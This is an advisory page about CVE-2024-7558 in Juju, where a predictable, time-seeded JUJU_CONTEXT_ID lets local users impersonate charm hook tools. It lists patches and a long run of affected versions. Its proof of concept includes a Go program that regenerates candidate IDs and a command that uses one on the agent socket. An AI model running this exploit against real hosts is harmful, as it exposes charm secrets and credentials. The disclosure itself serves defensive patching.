Ecosyste.ms: Advisories
An open API service providing security vulnerability metadata for many open source software ecosystems.
Security Advisories: GSA_kwCzR0hTQS1taDk4LTc2M2gtbTl2NM4AA_7w
JUJU_CONTEXT_ID is a predictable authentication secret
JUJU_CONTEXT_ID
is the authentication measure on the unit hook tool abstract domain socket. It looks like JUJU_CONTEXT_ID=appname/0-update-status-6073989428498739633
.
This value looks fairly unpredictable, but due to the random source used, it is highly predictable.
JUJU_CONTEXT_ID
has the following components:
- the application name
- the unit number
- the hook being currently run
- a uint63 decimal number
On a system the application name and unit number can be deduced by reading the structure of the filesystem.
The current hook being run is not easily deduce-able, but is a limited set of possible values, so one could try them all.
Finally the random number, this is generated from a non cryptographically secure random source. Specifically the random number generator built into the go standard library, using the current unix time in seconds (at startup) as the seed.
There is no rate limiting on the abstract domain socket, the only limiting factor is time (window of time the hook is run) and memory (how much memory is available to facilitate all the connections).
Impact
On a juju machine (non-kubernetes) or juju charm container (on kubernetes), an unprivileged user in the same network namespace can connect to an abstract domain socket and guess the JUJU_CONTEXT_ID value. This gives the unprivileged user access to the same information and tools as the juju charm. This information could be secrets that give broader access.
Patches
Patch: https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7
Patched in:
- 3.5.4
- 3.4.6
- 3.3.7
- 3.1.10
- 2.9.51
Workarounds
No workaround. Upgrade will be required.
References
https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152
https://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164
PoC
With a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.
.
|-- hooks
| `-- install
#!/bin/sh
sleep 10000
|-- manifest.yaml
bases:
- name: ubuntu
channel: 22.04/stable
architectures:
- amd64
|-- metadata.yaml
name: sleepy
summary: a sleepy charm
description: a sleepy charm that sleeps on install
`-- revision
1
With sleepy deployed into a model, we have a unit with the name sleepy/0
and an tag of unit-sleepy-0
.
With access to the log file we can very quickly get the start time of the unit:
ubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep 'unit "sleepy/0" started'
2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit "sleepy/0" started
If we don't have access to the log, we could get pretty close by trying every second between when log file was created and now:
nobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log
cat: unit-sleepy-0.log: Permission denied
nobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log
File: unit-sleepy-0.log
Size: 1403 Blocks: 8 IO Block: 4096 regular file
Device: 10302h/66306d Inode: 25967076 Links: 1
Access: (0640/-rw-r-----) Uid: ( 104/ syslog) Gid: ( 4/ adm)
Access: 2024-08-06 05:10:48.686975042 +0000
Modify: 2024-08-06 05:10:07.159133215 +0000
Change: 2024-08-06 05:10:07.159133215 +0000
Birth: 2024-08-06 05:10:06.965129276 +0000
We can then pass that into this program:
package main
import (
"flag"
"fmt"
"math/rand"
"time"
)
func main() {
var unitName string
var unitStartLogTime string
var currentHook string
flag.StringVar(&unitName, "u", "sleepy/0", "")
flag.StringVar(&unitStartLogTime, "t", "2024-08-06 05:10:07", "time when the last 'INFO juju.worker.uniter uniter.go:363 unit %q started' log was written to /var/log/juju/unit-name-0.log")
flag.StringVar(¤tHook, "h", "install", "the current hook that is running right now")
flag.Parse()
t, err := time.Parse("2006-01-02 15:04:05", unitStartLogTime)
if err != nil {
panic(err)
}
sources := []rand.Source{
rand.NewSource(t.Unix()),
rand.NewSource(t.Unix() - 1),
rand.NewSource(t.Unix() - 2),
}
for i := 0; i < 10; i++ {
for _, source := range sources {
fmt.Printf("%s-%s-%d\n", unitName, currentHook, source.Int63())
}
}
}
This program will give us a list of JUJU_CONTEXT_ID
s to try. We just need to try each one. In this case it was the first one, because we had enough information.
$ go run . -u sleepy/0 -t "2024-08-06 05:10:07" -h install
sleepy/0-install-7349430268617352851
sleepy/0-install-2171542415131519293
sleepy/0-install-6564961386023494624
sleepy/0-install-59904244413115609
sleepy/0-install-6073989428498739633
sleepy/0-install-2504995199508561544
sleepy/0-install-1526670560532335303
sleepy/0-install-2568216045630615950
sleepy/0-install-8047402353801897930
Unfortunately, this worked too well.
nobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader
True
With a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.
Permalink: https://github.com/advisories/GHSA-mh98-763h-m9v4JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1taDk4LTc2M2gtbTl2NM4AA_7w
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 2 months ago
Updated: about 1 month ago
CVSS Score: 8.7
CVSS vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H
Identifiers: GHSA-mh98-763h-m9v4, CVE-2024-7558
References:
- https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4
- https://nvd.nist.gov/vuln/detail/CVE-2024-7558
- https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7
- https://pkg.go.dev/vuln/GO-2024-3173
- https://github.com/advisories/GHSA-mh98-763h-m9v4
Blast Radius: 9.7
Affected Packages
go:github.com/juju/juju
Dependent packages: 12Dependent repositories: 13
Downloads:
Affected Version Ranges: < 0.0.0-20240826044107-ecd7e2d0e986
Fixed in: 0.0.0-20240826044107-ecd7e2d0e986
All affected versions: 0.0.0-20220407195657-9a96a5c17401, 0.0.0-20220511031159-947923df4e6c, 0.0.0-20220627011602-f2b581f0a17a, 0.0.0-20221021132205-136e6882e5fa, 0.0.0-20221115090233-9f07c38e9e51, 0.0.0-20221116030047-23337d16f989, 0.0.0-20221116054524-8bf53dc35b25, 0.0.0-20221116084148-477cb46d43d6, 0.0.0-20221116230615-d77422c480a0, 0.0.0-20221117023614-54a5bd6f0655, 0.0.0-20221117125247-8f5ca5753931, 0.0.0-20221118013754-0b3d1a873393, 0.0.0-20221118072234-a4d540467379, 0.0.0-20221118170040-61b220f0430b, 0.0.0-20221123134659-7f57ce564e9c, 0.0.0-20221124001910-bcaa67f42f4a, 0.0.0-20221124013112-226916353c32, 0.0.0-20221124080116-d552e2e1a0c0, 0.0.0-20221124223329-ae342ed49fba, 0.0.0-20221125010612-ea2a62188c52, 0.0.0-20221125094057-9e615d948cd9, 0.0.0-20221125101001-1d754a01ae15, 0.0.0-20221125144551-fac123dfad03, 0.0.0-20221125160253-ecc18e520bac, 0.0.0-20221128113053-54b849824c3b, 0.0.0-20221128133425-77a5503b8778, 0.0.0-20221129153700-821277a963bc, 0.0.0-20221129210628-1a322fba47d8, 0.0.0-20221130004248-8962d9541516, 0.0.0-20221130121943-cd4bca820856, 0.0.0-20221130124849-c842a7c4599a, 0.0.0-20221201015747-478cd3e22e5b, 0.0.0-20221201125432-c4660df4d5d4, 0.0.0-20221201141930-b91a1276c2cf, 0.0.0-20221205045251-f44eecc88290, 0.0.0-20221205071955-565f2acb237a, 0.0.0-20221205104958-10fda27abdb2, 0.0.0-20221206135718-20c399874101, 0.0.0-20221206144457-b038303101e1, 0.0.0-20221206155112-d7ef9b47b152, 0.0.0-20221206162036-f83f507d33fe, 0.0.0-20221206195655-eaa92fb309f5, 0.0.0-20221207152915-f24ff0dfefdd, 0.0.0-20221208003421-5ee11fef69f4, 0.0.0-20221208154204-342e75d28366, 0.0.0-20221209013146-0138c5c3fa6c, 0.0.0-20221209104604-d9d2c49dbe27, 0.0.0-20221212104932-395f2aa0d39a, 0.0.0-20221212134200-4ecf0ab99653, 0.0.0-20221212215019-f73da063be58, 0.0.0-20221215071657-a76353413e87, 0.0.0-20221215235513-ef803e2a1369, 0.0.0-20221216014544-79861722faba, 0.0.0-20221216104729-95fb0a5457dc, 0.0.0-20221216171052-01b58267fb30, 0.0.0-20230103235730-d11d50d13b41, 0.0.0-20230104110346-0297211162d4, 0.0.0-20230105012444-6d211be0d72d, 0.0.0-20230105192729-c5675ee8031c, 0.0.0-20230106205849-f512e39ee78d, 0.0.0-20230106212559-6d01388efbf0, 0.0.0-20230106223200-fa23aebfdf7d, 0.0.0-20230109033904-014eb1086202, 0.0.0-20230109145451-94cb2dc1c26a, 0.0.0-20230111062317-ba4419a6d745, 0.0.0-20230111100225-bee6449d72c6, 0.0.0-20230111110928-5d7ba4df8482, 0.0.0-20230111153743-3e0ae3f353d6, 0.0.0-20230111170415-a10abf266f80, 0.0.0-20230111203615-0838b57f473d, 0.0.0-20230111225512-1e999e09a180, 0.0.0-20230112095625-6787de44a2ab, 0.0.0-20230112121448-168e827dab5f, 0.0.0-20230112152837-afd87a8aaffb, 0.0.0-20230112201433-31e751f72252, 0.0.0-20230113171616-358b8c2d0519, 0.0.0-20230113214113-f497a1f60230, 0.0.0-20230116094449-e5a910601dc1, 0.0.0-20230116104932-c94e5a257014, 0.0.0-20230116150036-b755bc7decae, 0.0.0-20230116152803-117f63ec1e97, 0.0.0-20230118042709-5c455414cb1b, 0.0.0-20230119042234-cb0c775c4e15, 0.0.0-20230119054911-86fbe6414a7e, 0.0.0-20230119071934-e2c8e567598a, 0.0.0-20230119103622-e780b9f4e037, 0.0.0-20230119131905-be88a0cb0718, 0.0.0-20230119215157-b865604ca520, 0.0.0-20230123213321-173c214fe696, 0.0.0-20230124155426-ff8bddb7e83b, 0.0.0-20230131065042-dbc6ba9ee252, 0.0.0-20230320141054-671dab9765c3, 0.0.0-20230320161534-db95cf05e52d, 0.0.0-20230320211257-c7cc6963f799, 0.0.0-20230321054221-953506cab882, 0.0.0-20230321104043-3db47d7f3ba5, 0.0.0-20230321144350-5e919fbef63f, 0.0.0-20230321155031-8c0b50d0b3f2, 0.0.0-20230322042622-e71ba49268cb, 0.0.0-20230322123126-71a953291655, 0.0.0-20230323044357-041076eb86cc, 0.0.0-20230323095138-f5b48ce24351, 0.0.0-20230323162546-479f766efa5f, 0.0.0-20230323165653-a2a35a9efb4e, 0.0.0-20230323231947-3cbf2d1ea5d3, 0.0.0-20230324125519-db14b816eb53, 0.0.0-20230327081347-22850fe90f1e, 0.0.0-20230327140727-585549fea44f, 0.0.0-20230328113657-4a3cb95120a8, 0.0.0-20230328120842-be2562b28d14, 0.0.0-20230328131049-c6928f5f2b8f, 0.0.0-20230328161450-6820a9be265d, 0.0.0-20230328190025-6cafa3c22f3e, 0.0.0-20230328204210-19a0614c1c6e, 0.0.0-20230329025328-4aa38fc7f8bd, 0.0.0-20230329053238-24f08bd15d89, 0.0.0-20230329084214-bddcf2078c82, 0.0.0-20230329091315-55d103e6ed08, 0.0.0-20230330115101-df4f74bc8dc9, 0.0.0-20230330132726-1ba05691f823, 0.0.0-20230331043557-d9dd015c38c2, 0.0.0-20230331054557-5069b692624d, 0.0.0-20230331075506-75469441f72b, 0.0.0-20230331082200-019889326f4b, 0.0.0-20230331101122-4bb2ec151e40, 0.0.0-20230331111942-77e1d5c74fc3, 0.0.0-20230331115402-ca8984c1fb29, 0.0.0-20230331153546-5c6d5fbd312e, 0.0.0-20230403052522-971373cbf827, 0.0.0-20230403093637-b36630e4622b, 0.0.0-20230403150328-46e15109f9b2, 0.0.0-20230404223718-f43d417390ca, 0.0.0-20230405183033-352ad983603e, 0.0.0-20230406222911-f011d5b7aebc, 0.0.0-20230410131703-50b727648227, 0.0.0-20230411075628-179825c8a61e, 0.0.0-20230413110142-e5f00e3c096e, 0.0.0-20230414143447-29f2e9aa36de, 0.0.0-20230417101733-545fb5a7f2ce, 0.0.0-20230417154255-44387bcad683, 0.0.0-20230417233824-dc6c8afef9e8, 0.0.0-20230420183802-7918e90094f8, 0.0.0-20230421000634-0f8b2d5a40c4, 0.0.0-20230421043751-123437ddf3f8, 0.0.0-20230421090144-b5879bd1c79e, 0.0.0-20230421093606-c8575cabe1c9, 0.0.0-20230424175325-5bb760ca21e8, 0.0.0-20230425134250-f82cf81ab1a1, 0.0.0-20230427070635-c518d291ee7f, 0.0.0-20230428093043-e2c7b4c88e51, 0.0.0-20230502122124-b27ec032f820, 0.0.0-20230502125549-288774b204a6, 0.0.0-20230503154657-cf555429bf40, 0.0.0-20230509235337-6c86faeae242, 0.0.0-20230510012221-7a0c6fbc9ce4, 0.0.0-20230512153253-64af933d3b59, 0.0.0-20230513024502-48c1b779c7bb, 0.0.0-20230514220127-7114b80fab04, 0.0.0-20230515234846-7568c31bf5c2, 0.0.0-20230516014901-7d48085b5c5b, 0.0.0-20230517061040-4cb99dbb09e3, 0.0.0-20230517150240-5c4e9c75f680, 0.0.0-20230518102713-8ccb2235d5e9, 0.0.0-20230518162327-0eb909ec4979, 0.0.0-20230519091743-57428bd7e1ef, 0.0.0-20230519150402-16a04d97eaf9, 0.0.0-20230519171821-db6e9e206512, 0.0.0-20230519195511-ded3e8b915a4, 0.0.0-20230522041843-9099c69fd163, 0.0.0-20230522123446-962724bc3391, 0.0.0-20230523115600-0283006acb5d, 0.0.0-20230523131624-266e08abbda3, 0.0.0-20230523183056-a4e1d79f42f9, 0.0.0-20230524025758-899a013dc608, 0.0.0-20230524040038-08231ace2de4, 0.0.0-20230524093125-05a2b7cb5603, 0.0.0-20230525135248-c7107ada8c47, 0.0.0-20230531165225-060224173db5, 0.0.0-20230601023754-ae4fb030a7d5, 0.0.0-20230601044333-3cb3f8beac4a, 0.0.0-20230602052806-a0dc0a4713b3, 0.0.0-20230602063813-2ff5863567f8, 0.0.0-20230602142406-22ea63e85447, 0.0.0-20230602143738-781f3b966a63, 0.0.0-20230606141839-a27a76b3cf97, 0.0.0-20230607125250-09db847e363a, 0.0.0-20230607211354-0a24ca2972be, 0.0.0-20230608143355-264818ccb21d, 0.0.0-20230609031928-78b635d3f75d, 0.0.0-20230609044026-7ccba378a5f6, 0.0.0-20230613053213-a60bd8fa28b9, 0.0.0-20230613124715-224b1cccbc29, 0.0.0-20230614102745-859247565cc6, 0.0.0-20230614123128-993e78a0a5b1, 0.0.0-20230614123715-2de8d53d857f, 0.0.0-20230614152906-576c48726644, 0.0.0-20230615004520-f059ccf25101, 0.0.0-20230615205658-5bc731b96648, 0.0.0-20230615220613-a3834cefda0a, 0.0.0-20230619114717-cdcdf5c70763, 0.0.0-20230619144308-90e6f1e4c883, 0.0.0-20230620173931-e36e9afaa8a2, 0.0.0-20230620182709-c065737e5e27, 0.0.0-20230621011947-08f6226c1896, 0.0.0-20230621015414-d2895972aaed, 0.0.0-20230622004240-518a39c127db, 0.0.0-20230626150949-906b53c064a1, 0.0.0-20230626185445-45a3203a308b, 0.0.0-20230627011110-b846e965348f, 0.0.0-20230627020831-e29e53bd5efe, 0.0.0-20230627021211-563caf3a7989, 0.0.0-20230627034756-445bdb473627, 0.0.0-20230627093150-4b323a0c1f69, 0.0.0-20230627125450-9f75418397e4, 0.0.0-20230628110344-074872d41553, 0.0.0-20230628141038-7bbc78715649, 0.0.0-20230629094620-c81836788836, 0.0.0-20230630041851-fa1402c5da98, 0.0.0-20230630100518-e826f8b6c9be, 0.0.0-20230630133825-39fb63246bcd, 0.0.0-20230630175839-9b08cb2579cf, 0.0.0-20230701034002-a63a0b37ffbb, 0.0.0-20230703030733-53f361ca3891, 0.0.0-20230703041756-86da2edebabf, 0.0.0-20230703092930-68360b1badab, 0.0.0-20230703105632-4727ce6c212e, 0.0.0-20230707032836-37e332aa57c2, 0.0.0-20230707081448-02d498631e19, 0.0.0-20230707140415-87d8ddc9de52, 0.0.0-20230711001527-fed573417a5c, 0.0.0-20230711004351-2b2308500d71, 0.0.0-20230711192422-ed59a7a55083, 0.0.0-20230712040859-d0896cd2e7e9, 0.0.0-20230712214120-2002c19be24e, 0.0.0-20230712221019-c0ab5b627ffa, 0.0.0-20230713102828-525bd2487184, 0.0.0-20230714072638-0359d087e640, 0.0.0-20230715040823-481b4e5df8ba, 0.0.0-20230717114147-7a8b09131bbc, 0.0.0-20230718010843-c6c9f7c6edc1, 0.0.0-20230718085256-d9c464502d70, 0.0.0-20230719005609-3ce6ae0d1066, 0.0.0-20230719131005-2e7543391bbb, 0.0.0-20230720022942-c8d139beff13, 0.0.0-20230720065410-1be8b501b51b, 0.0.0-20230720151342-bba55f95939d, 0.0.0-20230721195141-66cd4af99bf7, 0.0.0-20230721220525-ad42a534f40f, 0.0.0-20230722003152-3528f6437487, 0.0.0-20230722041029-30ba85cdcc58, 0.0.0-20230724005627-0c03afa1ebcf, 0.0.0-20230724060326-4147527609a1, 0.0.0-20230724120001-b3b6b966319f, 0.0.0-20230725045018-3b70c387b1cd, 0.0.0-20230725065203-37411641aee9, 0.0.0-20230727120129-2cc35cca5cf7, 0.0.0-20230727150024-4dc74a779bc2, 0.0.0-20230727160111-af173e53240c, 0.0.0-20230727164846-bb7ef80b0a5e, 0.0.0-20230731112551-5373c2a9de0e, 0.0.0-20230801071427-e8bbb49eb2dc, 0.0.0-20230802011831-910bdb84540d, 0.0.0-20230802031511-0fbc7d94e8fe, 0.0.0-20230802115300-430bc2b8fc37, 0.0.0-20230802124413-4b5b60564cd3, 0.0.0-20230802143705-d83cd034ecc6, 0.0.0-20230804082623-d85788197e85, 0.0.0-20230804113454-bcca5675c4ff, 0.0.0-20230809144302-9f9302a36190, 0.0.0-20230810114129-ce9528322021, 0.0.0-20230810221155-363cc831f896, 0.0.0-20230811043156-3a137c315212, 0.0.0-20230811054212-f3c2ea857964, 0.0.0-20230811121104-9589eb7adc26, 0.0.0-20230811140554-e7532011a046, 0.0.0-20230814040855-a2ecdd43d91f, 0.0.0-20230815011714-bcd5d82c37fb, 0.0.0-20230815075842-d6207b59e3cc, 0.0.0-20230817070652-3113a35d31ee, 0.0.0-20230822095152-1206b7da2362, 0.0.0-20230824113532-7ad2ad4e7a03, 0.0.0-20230824133515-b7dd42b15315, 0.0.0-20230825011136-7a9eb97bee51, 0.0.0-20230825012738-f19dead2936b, 0.0.0-20230825100052-b5c0a3a49c9f, 0.0.0-20230825210500-0e545a2e679f, 0.0.0-20230828045909-e81a07800592, 0.0.0-20230828154953-9e6e4654bc7a, 0.0.0-20230828225502-bcbf5505aaf6, 0.0.0-20230829014037-3456f91acb6f, 0.0.0-20230830105345-d7cc730345e6, 0.0.0-20230830184749-bcfc5ffafada, 0.0.0-20230831061736-395660e7d681, 0.0.0-20230831131534-51044478441e, 0.0.0-20230901033521-2ca4922e8ffa, 0.0.0-20230901073310-a6cc97e8a3a8, 0.0.0-20230902053610-f2e8ce25c76c, 0.0.0-20230904025827-e0c3ecc19fe3, 0.0.0-20230904040112-aecd4fb71b3e, 0.0.0-20230904081426-87984a9c27e1, 0.0.0-20230905104341-d699054395fc, 0.0.0-20230906135950-8e504335a032, 0.0.0-20230907001451-06e3381fa2c6, 0.0.0-20230907165240-963327507603, 0.0.0-20230907224020-6e4246daed39, 0.0.0-20230908010243-2a48bc816c1f, 0.0.0-20230908184728-448fc3eb4a05, 0.0.0-20230908205411-fe8bea279da4, 0.0.0-20230911145055-333ddee675af, 0.0.0-20230911145249-769ed98cd1fa, 0.0.0-20230912082733-3b93e94f8a6c, 0.0.0-20230912164416-cb85b57be986, 0.0.0-20230913041338-2f6dfd6f22e4, 0.0.0-20230913041439-13afc56eb85c, 0.0.0-20230913130548-c26cad966a91, 0.0.0-20230914085911-ded60756cf4c, 0.0.0-20230914171935-683be88ed9e4, 0.0.0-20230915042245-9863a69ff0bf, 0.0.0-20230915051608-0b442ddb01dc, 0.0.0-20230915204648-7a9b76f0b8fd, 0.0.0-20230918004858-b1cc9588e63d, 0.0.0-20230918080820-4016256baa05, 0.0.0-20230918235451-030476b30143, 0.0.0-20230919004121-92df480ab81c, 0.0.0-20230919230135-f6a66aa91eec, 0.0.0-20230920073143-3d4b41bbcca4, 0.0.0-20230920121639-230e203a7261, 0.0.0-20230920232317-64df8ead86ad, 0.0.0-20230921011740-34a3a7080ec7, 0.0.0-20230922092201-2678b4be0951, 0.0.0-20230922095157-3e561add5940, 0.0.0-20230922140052-cc27cc73965e, 0.0.0-20230925004517-2fba8e85beaa, 0.0.0-20230925190859-78e5ec929efa, 0.0.0-20230928093431-c52c5263a2c4, 0.0.0-20230928104132-0d3f85ae03fc, 0.0.0-20230928115116-8f1b416ce228, 0.0.0-20230928143217-acee4877d0e4, 0.0.0-20230928163730-a27e7551055d, 0.0.0-20230929033619-d668d19e868e, 0.0.0-20230929073110-e6b4b19a9cbf, 0.0.0-20231002104115-85ef9b7e53e4, 0.0.0-20231002111148-cb5655be8508, 0.0.0-20231002165524-0105ddce2bd3, 0.0.0-20231003055938-3550215dfab1, 0.0.0-20231003074930-2f516ee2f54a, 0.0.0-20231003123153-4df7331c3cb2, 0.0.0-20231004063016-e8525c0bb14b, 0.0.0-20231005133131-f0f233871dee, 0.0.0-20231006063836-4cb2ee7a0e28, 0.0.0-20231006081415-462d142ea972, 0.0.0-20231006133405-53ac4b4584c2, 0.0.0-20231006150231-cfe484550fc8, 0.0.0-20231009130044-5b9c1acd0e50, 0.0.0-20231009150230-378b12a4ff81, 0.0.0-20231010000911-3cf8f772cee8, 0.0.0-20231010061553-5055e1f8506b, 0.0.0-20231010061738-94df7f1f9cfe, 0.0.0-20231010100929-43dbda5f1abe, 0.0.0-20231010103851-a5df2b5d21fe, 0.0.0-20231010130649-9893032fb3a3, 0.0.0-20231010220327-f3aed6169084, 0.0.0-20231011002220-f5ceb102ed4e, 0.0.0-20231011165118-bec1e81c5341, 0.0.0-20231011222035-1b79252c9bc6, 0.0.0-20231012074406-a2a65863bd5e, 0.0.0-20231012100242-15b3595b5b5b, 0.0.0-20231013010922-36f8e39854d5, 0.0.0-20231013095652-645390e34b67, 0.0.0-20231013123343-7c994c1b52f4, 0.0.0-20231016012854-17c74445a4bb, 0.0.0-20231016041604-1d704bf51fed, 0.0.0-20231016060450-80c78b8f3b41, 0.0.0-20231017045517-75c60e758a2d, 0.0.0-20231017050614-863d947521c0, 0.0.0-20231017100822-259e13a9a89e, 0.0.0-20231018113530-bfd5c89b6433, 0.0.0-20231019045605-0b4cd96f2f3b, 0.0.0-20231019062810-a4cc93567af1, 0.0.0-20231019094203-1466df47adf2, 0.0.0-20231019125811-2b7d0d77c428, 0.0.0-20231019214715-e65103119b4c, 0.0.0-20231020065940-6290ea6dd627, 0.0.0-20231020110131-3719c688b035, 0.0.0-20231020121438-3fc5dfeceeb3, 0.0.0-20231020155535-353ce97052f5, 0.0.0-20231023063033-606d2e2c8fec, 0.0.0-20231023063650-f86f19926b85, 0.0.0-20231024064516-a503e3e12f6f, 0.0.0-20231024124443-96f88769dcbd, 0.0.0-20231025092157-bc6e06f02a61, 0.0.0-20231025093209-20310464ced6, 0.0.0-20231025103356-8f0dd278f27b, 0.0.0-20231025190833-7192b3d6fac0, 0.0.0-20231026012134-7aa6fa70969d, 0.0.0-20231026014826-52ea5cfe31e7, 0.0.0-20231026094708-6378296c952f, 0.0.0-20231026141943-054fde58fa8f, 0.0.0-20231026144938-91275e8f0cbb, 0.0.0-20231027045716-fb2169b2bc89, 0.0.0-20231027123610-cdfc0d978ef8, 0.0.0-20231031101119-784663e2cf67, 0.0.0-20231101054947-8329e8f35ef3, 0.0.0-20231101060856-2e2e457457d3, 0.0.0-20231101102119-787583ae8984, 0.0.0-20231101120118-0d9574367a8a, 0.0.0-20231101123952-ea265d95b015, 0.0.0-20231101132454-e281fbab1da0, 0.0.0-20231101163333-a3dc4e9e2f74, 0.0.0-20231101202945-1c8dd1e1c064, 0.0.0-20231102081328-2d0acc47a02a, 0.0.0-20231102123935-7a0f26bada73, 0.0.0-20231102130706-5c2fbb8e536a, 0.0.0-20231102132636-0bf66b44d4c3, 0.0.0-20231106145829-64302f4ced0a, 0.0.0-20231106182921-051a1cae0eb7, 0.0.0-20231107125027-59c89d2f3b37, 0.0.0-20231107140346-0695323da495, 0.0.0-20231107142639-5747026e76b2, 0.0.0-20231108113747-dbd3733e74ad, 0.0.0-20231108123654-6c4a15e0314d, 0.0.0-20231109082312-f0aceb9ab82a, 0.0.0-20231109092736-189de7719f3e, 0.0.0-20231109132148-02479f4a1bfd, 0.0.0-20231109142828-6c24d578c38d, 0.0.0-20231109145757-39cb3f14c802, 0.0.0-20231109204550-5cac6f00b459, 0.0.0-20231110042239-737ad81c08dc, 0.0.0-20231110092546-f835120f6974, 0.0.0-20231113163300-0f8320fde663, 0.0.0-20231115164101-c17d277375e2, 0.0.0-20231116055633-2ed459378616, 0.0.0-20231116064600-96edcbb843c9, 0.0.0-20231116082541-37a292cbcc30, 0.0.0-20231117115112-f027ac2ca508, 0.0.0-20231120002659-186e15462b6c, 0.0.0-20231121115020-8a8776fca294, 0.0.0-20231121130628-9a5fa9fd329d, 0.0.0-20231124100838-9083f4d5dccb, 0.0.0-20231124101018-e48234294b9e, 0.0.0-20231127164349-dc6caccc7101, 0.0.0-20231128062415-15da4401de22, 0.0.0-20231128151822-904fd709088d, 0.0.0-20231129060153-343509578b6a, 0.0.0-20231129100913-04d6b8b09f2c, 0.0.0-20231204122956-f97415fb4915, 0.0.0-20231205050548-8dc68269680d, 0.0.0-20231207235059-cd62ac760951, 0.0.0-20231208005018-d8418c74e4cc, 0.0.0-20231212114221-a2643690dcdb, 0.0.0-20231213032600-e6490b4242d1, 0.0.0-20231213061251-4f301e200ea0, 0.0.0-20231215000838-2fd421fc705f, 0.0.0-20231215030016-6d7ceae46d8d, 0.0.0-20231215033400-0ce0f521247f, 0.0.0-20231215122654-c46ae88b6693, 0.0.0-20231215180313-b735335a074e, 0.0.0-20231215230715-7c5152a649cb, 0.0.0-20240102071913-985d5a51e10f, 0.0.0-20240103145458-800a7feecea0, 0.0.0-20240103145712-db78b851c95e, 0.0.0-20240103170133-7b9a09902fd8, 0.0.0-20240104005441-7f5c13d451a6, 0.0.0-20240104015219-96e0267ed735, 0.0.0-20240104083041-d03ebad7c522, 0.0.0-20240104120502-7e24766829f5, 0.0.0-20240104150746-cc00bd3d869c, 0.0.0-20240105114456-98179fe07507, 0.0.0-20240105171453-8eb4ce88b307, 0.0.0-20240108094433-939cc11853c1, 0.0.0-20240108120536-f89422c7cc7c, 0.0.0-20240109142635-673adb1a7312, 0.0.0-20240111184947-f8d4f78811f5, 0.0.0-20240112044502-45e93ca4101b, 0.0.0-20240112060936-cc3177448bee, 0.0.0-20240112112303-31b4c57ca6f5, 0.0.0-20240114230746-c709720cd7e4, 0.0.0-20240114233153-8be41875407f, 0.0.0-20240115032043-df6168061b28, 0.0.0-20240115070857-c281066b9ecc, 0.0.0-20240115141250-e869e754403c, 0.0.0-20240115234848-5f6072a35b35, 0.0.0-20240116060331-5d2197a109c0, 0.0.0-20240116165058-02a3231f4667, 0.0.0-20240117060421-54341b7d537a, 0.0.0-20240117103858-6cff5d27e35f, 0.0.0-20240118142913-e822e8837dd2, 0.0.0-20240118233417-b16a7028fbf0, 0.0.0-20240119123214-44b7112c2e1d, 0.0.0-20240119211433-36059bb11bb3, 0.0.0-20240120015618-8a70bafbddff, 0.0.0-20240122113251-2a11755f6d4b, 0.0.0-20240122134522-0a516932ab93, 0.0.0-20240122150747-53a1b05050e7, 0.0.0-20240123121031-376659f14369, 0.0.0-20240123124125-ae0768314e44, 0.0.0-20240123134042-897ac8775123, 0.0.0-20240123134632-017983f5c106, 0.0.0-20240123150306-49c60a3ebb33, 0.0.0-20240123205544-2992cb5533a0, 0.0.0-20240123210348-02b2bb35c33d, 0.0.0-20240123223800-1a9ae5d4ab7a
All unaffected versions: